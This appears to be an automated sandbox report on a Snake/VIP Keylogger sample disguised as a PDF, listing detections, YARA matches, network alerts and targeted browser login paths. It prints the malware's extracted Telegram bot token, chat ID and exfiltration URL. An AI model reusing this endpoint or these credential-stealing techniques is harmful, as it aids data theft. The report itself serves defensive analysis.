Edit tour

Windows Analysis Report
Swift Copy TT USDUSD$23,401.PDF.exe

Overview

General Information

Sample name:	Swift Copy TT USDUSD$23,401.PDF.exe
Analysis ID:	1608142
MD5:	4c1cc99d52126a69b0b94f56e17678e3
SHA1:	c16d14509fbcdcd2e01c09af49ae9876e5200955
SHA256:	47af16cc5a248cf055155a57d1eb07844113a00c7a84802588ef7dc5f007880d
Tags:	exeSWIFTuser-cocaman
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension File Execution

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Swift Copy TT USDUSD$23,401.PDF.exe (PID: 6716 cmdline: "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe" MD5: 4C1CC99D52126A69B0B94F56E17678E3)

Swift Copy TT USDUSD$23,401.PDF.exe (PID: 5804 cmdline: "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe" MD5: 4C1CC99D52126A69B0B94F56E17678E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA/sendMessage"}

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA", "Chat id": "7128988401", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA", "Chat_id": "7128988401", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e112:$a1: get_encryptedPassword 0x2e43b:$a2: get_encryptedUsername 0x2df22:$a3: get_timePasswordChanged 0x2e02b:$a4: get_passwordField 0x2e128:$a5: set_encryptedPassword 0x2f7e2:$a7: get_logins 0x2f745:$a10: KeyLoggerEventArgs 0x2f3aa:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x374d9a:$a1: get_encryptedPassword 0x3b8bba:$a1: get_encryptedPassword 0x3fc7da:$a1: get_encryptedPassword 0x3750c3:$a2: get_encryptedUsername 0x3b8ee3:$a2: get_encryptedUsername 0x3fcb03:$a2: get_encryptedUsername 0x374baa:$a3: get_timePasswordChanged 0x3b89ca:$a3: get_timePasswordChanged 0x3fc5ea:$a3: get_timePasswordChanged 0x374cb3:$a4: get_passwordField 0x3b8ad3:$a4: get_passwordField 0x3fc6f3:$a4: get_passwordField 0x374db0:$a5: set_encryptedPassword 0x3b8bd0:$a5: set_encryptedPassword 0x3fc7f0:$a5: set_encryptedPassword 0x37646a:$a7: get_logins 0x3ba28a:$a7: get_logins 0x3fdeaa:$a7: get_logins 0x3763cd:$a10: KeyLoggerEventArgs 0x3ba1ed:$a10: KeyLoggerEventArgs 0x3fde0d:$a10: KeyLoggerEventArgs
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x4fe46:$a1: get_encryptedPassword 0x50080:$a2: get_encryptedUsername 0x4fc73:$a3: get_timePasswordChanged 0x4fd70:$a4: get_passwordField 0x4fe5c:$a5: set_encryptedPassword 0x51dc7:$a7: get_logins 0x51d3f:$a10: KeyLoggerEventArgs 0x51ad5:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x15463e:$a1: get_encryptedPassword 0x15495d:$a2: get_encryptedUsername 0x154458:$a3: get_timePasswordChanged 0x154561:$a4: get_passwordField 0x154654:$a5: set_encryptedPassword 0x156b31:$a7: get_logins 0x156a94:$a10: KeyLoggerEventArgs 0x1566fd:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c512:$a1: get_encryptedPassword 0x2c83b:$a2: get_encryptedUsername 0x2c322:$a3: get_timePasswordChanged 0x2c42b:$a4: get_passwordField 0x2c528:$a5: set_encryptedPassword 0x2dbe2:$a7: get_logins 0x2db45:$a10: KeyLoggerEventArgs 0x2d7aa:$a11: KeyLoggerEventArgsEventHandler
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a2a1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39944:$a3: \Google\Chrome\User Data\Default\Login Data 0x39ba1:$a4: \Orbitum\User Data\Default\Login Data 0x3a580:$a5: \Kometa\User Data\Default\Login Data
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d147:$s1: UnHook 0x2d14e:$s2: SetHook 0x2d156:$s3: CallNextHook 0x2d163:$s4: _hook
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e312:$a1: get_encryptedPassword 0x2e63b:$a2: get_encryptedUsername 0x2e122:$a3: get_timePasswordChanged 0x2e22b:$a4: get_passwordField 0x2e328:$a5: set_encryptedPassword 0x2f9e2:$a7: get_logins 0x2f945:$a10: KeyLoggerEventArgs 0x2f5aa:$a11: KeyLoggerEventArgsEventHandler
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c0a1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b744:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b9a1:$a4: \Orbitum\User Data\Default\Login Data 0x3c380:$a5: \Kometa\User Data\Default\Login Data
2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef47:$s1: UnHook 0x2ef4e:$s2: SetHook 0x2ef56:$s3: CallNextHook 0x2ef63:$s4: _hook
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e312:$a1: get_encryptedPassword 0x72132:$a1: get_encryptedPassword 0xb5d52:$a1: get_encryptedPassword 0x2e63b:$a2: get_encryptedUsername 0x7245b:$a2: get_encryptedUsername 0xb607b:$a2: get_encryptedUsername 0x2e122:$a3: get_timePasswordChanged 0x71f42:$a3: get_timePasswordChanged 0xb5b62:$a3: get_timePasswordChanged 0x2e22b:$a4: get_passwordField 0x7204b:$a4: get_passwordField 0xb5c6b:$a4: get_passwordField 0x2e328:$a5: set_encryptedPassword 0x72148:$a5: set_encryptedPassword 0xb5d68:$a5: set_encryptedPassword 0x2f9e2:$a7: get_logins 0x73802:$a7: get_logins 0xb7422:$a7: get_logins 0x2f945:$a10: KeyLoggerEventArgs 0x73765:$a10: KeyLoggerEventArgs 0xb7385:$a10: KeyLoggerEventArgs
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c0a1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7fec1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc3ae1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b744:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f564:$a3: \Google\Chrome\User Data\Default\Login Data 0xc3184:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b9a1:$a4: \Orbitum\User Data\Default\Login Data 0x7f7c1:$a4: \Orbitum\User Data\Default\Login Data 0xc33e1:$a4: \Orbitum\User Data\Default\Login Data 0x3c380:$a5: \Kometa\User Data\Default\Login Data 0x801a0:$a5: \Kometa\User Data\Default\Login Data 0xc3dc0:$a5: \Kometa\User Data\Default\Login Data
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef47:$s1: UnHook 0x72d67:$s1: UnHook 0xb6987:$s1: UnHook 0x2ef4e:$s2: SetHook 0x72d6e:$s2: SetHook 0xb698e:$s2: SetHook 0x2ef56:$s3: CallNextHook 0x72d76:$s3: CallNextHook 0xb6996:$s3: CallNextHook 0x2ef63:$s4: _hook 0x72d83:$s4: _hook 0xb69a3:$s4: _hook
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb6332:$a1: get_encryptedPassword 0xfa152:$a1: get_encryptedPassword 0x13dd72:$a1: get_encryptedPassword 0xb665b:$a2: get_encryptedUsername 0xfa47b:$a2: get_encryptedUsername 0x13e09b:$a2: get_encryptedUsername 0xb6142:$a3: get_timePasswordChanged 0xf9f62:$a3: get_timePasswordChanged 0x13db82:$a3: get_timePasswordChanged 0xb624b:$a4: get_passwordField 0xfa06b:$a4: get_passwordField 0x13dc8b:$a4: get_passwordField 0xb6348:$a5: set_encryptedPassword 0xfa168:$a5: set_encryptedPassword 0x13dd88:$a5: set_encryptedPassword 0xb7a02:$a7: get_logins 0xfb822:$a7: get_logins 0x13f442:$a7: get_logins 0xb7965:$a10: KeyLoggerEventArgs 0xfb785:$a10: KeyLoggerEventArgs 0x13f3a5:$a10: KeyLoggerEventArgs
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xb6f67:$s1: UnHook 0xfad87:$s1: UnHook 0x13e9a7:$s1: UnHook 0xb6f6e:$s2: SetHook 0xfad8e:$s2: SetHook 0x13e9ae:$s2: SetHook 0xb6f76:$s3: CallNextHook 0xfad96:$s3: CallNextHook 0x13e9b6:$s3: CallNextHook 0xb6f83:$s4: _hook 0xfada3:$s4: _hook 0x13e9c3:$s4: _hook
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13e352:$a1: get_encryptedPassword 0x182172:$a1: get_encryptedPassword 0x1c5d92:$a1: get_encryptedPassword 0x13e67b:$a2: get_encryptedUsername 0x18249b:$a2: get_encryptedUsername 0x1c60bb:$a2: get_encryptedUsername 0x13e162:$a3: get_timePasswordChanged 0x181f82:$a3: get_timePasswordChanged 0x1c5ba2:$a3: get_timePasswordChanged 0x13e26b:$a4: get_passwordField 0x18208b:$a4: get_passwordField 0x1c5cab:$a4: get_passwordField 0x13e368:$a5: set_encryptedPassword 0x182188:$a5: set_encryptedPassword 0x1c5da8:$a5: set_encryptedPassword 0x13fa22:$a7: get_logins 0x183842:$a7: get_logins 0x1c7462:$a7: get_logins 0x13f985:$a10: KeyLoggerEventArgs 0x1837a5:$a10: KeyLoggerEventArgs 0x1c73c5:$a10: KeyLoggerEventArgs
0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13ef87:$s1: UnHook 0x182da7:$s1: UnHook 0x1c69c7:$s1: UnHook 0x13ef8e:$s2: SetHook 0x182dae:$s2: SetHook 0x1c69ce:$s2: SetHook 0x13ef96:$s3: CallNextHook 0x182db6:$s3: CallNextHook 0x1c69d6:$s3: CallNextHook 0x13efa3:$s4: _hook 0x182dc3:$s4: _hook 0x1c69e3:$s4: _hook
Click to see the 27 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe", CommandLine: "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe", CommandLine|base64offset|contains: r, Image: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe, NewProcessName: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe, OriginalFileName: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe", ProcessId: 6716, ProcessName: Swift Copy TT USDUSD$23,401.PDF.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-06T09:21:10.027664+0100	2803305	3	Unknown Traffic	192.168.2.4	49737	104.21.64.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-06T09:21:07.101757+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	132.226.247.73	80	TCP
2025-02-06T09:21:09.393545+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	132.226.247.73	80	TCP
2025-02-06T09:21:10.758017+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	132.226.247.73	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-06T09:21:29.160296+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49760	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-06T09:21:23.102526+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49755	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA", "Chat_id": "7128988401", "Version": "4.4"}
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA", "Chat id": "7128988401", "Version": "4.4"}
Source: Swift Copy TT USDUSD$23,401.PDF.exe.5804.2.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA/sendMessage"}

Multi AV Scanner detection for submitted file

Source: Swift Copy TT USDUSD$23,401.PDF.exe	Virustotal: Detection: 47%			Perma Link
Source: Swift Copy TT USDUSD$23,401.PDF.exe	ReversingLabs: Detection: 34%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49735 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: YuCz.pdbSHA256 source: Swift Copy TT USDUSD$23,401.PDF.exe
Source:	Binary string: YuCz.pdb source: Swift Copy TT USDUSD$23,401.PDF.exe

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 010CF45Dh	2_2_010CF2C0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 010CF45Dh	2_2_010CF4AC
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 010CFC19h	2_2_010CF961
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069A3308h	2_2_069A2EF0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069A2D41h	2_2_069A2A90
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069A3308h	2_2_069A2EE7
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_069A0673
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AD919h	2_2_069AD670
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AEA79h	2_2_069AE7D0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AE1C9h	2_2_069ADF20
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AF781h	2_2_069AF4D8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AEED1h	2_2_069AEC28
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AD069h	2_2_069ACDC0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069ADD71h	2_2_069ADAC8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AD4C1h	2_2_069AD218
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069A3308h	2_2_069A3236
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069A0D0Dh	2_2_069A0B30
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069A16F8h	2_2_069A0B30
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AE621h	2_2_069AE378
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AF329h	2_2_069AF080
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_069A0853
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_069A0040
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 4x nop then jmp 069AFBD9h	2_2_069AF930

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49760 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49755 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:57156 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
